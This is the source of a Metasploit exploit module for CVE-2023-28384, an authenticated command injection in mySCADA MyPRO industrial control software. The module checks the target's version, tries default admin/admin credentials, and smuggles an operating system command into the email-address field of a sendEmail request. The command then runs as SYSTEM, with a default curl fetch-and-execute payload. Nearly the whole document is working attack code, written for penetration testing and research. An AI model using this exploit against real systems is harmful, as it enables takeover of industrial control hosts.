Path: blob/master/modules/exploits/windows/scada/mypro_cmdexe.rb
29131 views
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::HttpClient3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',10'Description' => %q{11Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.12The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.13},14'License' => MSF_LICENSE,15'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module16'References' => [17[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],18[ 'CVE', '2023-28384']19],20'DisclosureDate' => '2022-09-22',21'Platform' => 'win',22'Targets' => [23[24'Windows_Fetch',25{26'Arch' => [ ARCH_CMD ],27'Platform' => 'win',28'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },29'Type' => :win_fetch30}31]32],33'DefaultTarget' => 0,3435'Notes' => {36'Stability' => [CRASH_SAFE],37'Reliability' => [REPEATABLE_SESSION],38'SideEffects' => [IOC_IN_LOGS]39}40)41)4243register_options(44[45OptString.new(46'USERNAME',47[ true, 'The username to authenticate with (default: admin)', 'admin' ]48),49OptString.new(50'PASSWORD',51[ true, 'The password to authenticate with (default: admin)', 'admin' ]52),53OptString.new(54'TARGETURI',55[ true, 'The URI for the MyPRO web interface', '/' ]56)57]58)59end6061# Determine if the MyPRO instance runs a vulnerable version62def check63begin64res = send_request_cgi({65'method' => 'POST',66'uri' => normalize_uri(target_uri.path, 'l.fcgi'),67'vars_post' => {68't' => '98'69}70})71rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError72return CheckCode::Unknown73end7475if res && res.code == 20076data = res.get_json_document77version = data['V']78if version.nil?79return CheckCode::Unknown80else81vprint_status('Version retrieved: ' + version)82end8384if Rex::Version.new(version) <= Rex::Version.new('8.28')85return CheckCode::Appears86else87return CheckCode::Safe88end89else90return CheckCode::Unknown91end92end9394def exploit95execute_command(payload.encoded)96end9798def execute_command(cmd)99print_status('Checking credentials...')100check_auth101print_status('Sending command injection...')102exec_mypro(cmd)103print_status('Exploit finished, check thy shell.')104end105106# Check if credentials are working107def check_auth108res = send_request_cgi({109'method' => 'GET',110'uri' => normalize_uri(target_uri.path, 'sss2'),111'headers' => {112'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])113}114})115116unless res117fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')118end119case res.code120when 200121print_good('Credentials are working.')122when 401123fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')124else125fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')126end127end128129# Send command injection130def exec_mypro(cmd)131post_data = {132'type' => 'sendEmail',133'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"134}135post_json = JSON.generate(post_data)136137res = send_request_cgi({138'method' => 'POST',139'ctype' => 'application/json',140'data' => post_json,141'uri' => normalize_uri(target_uri.path, 'sss2'),142'headers' => {143'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])144}145146})147148# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.149150if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.151print_good('Command successfully executed, check your shell.')152end153end154155end156157158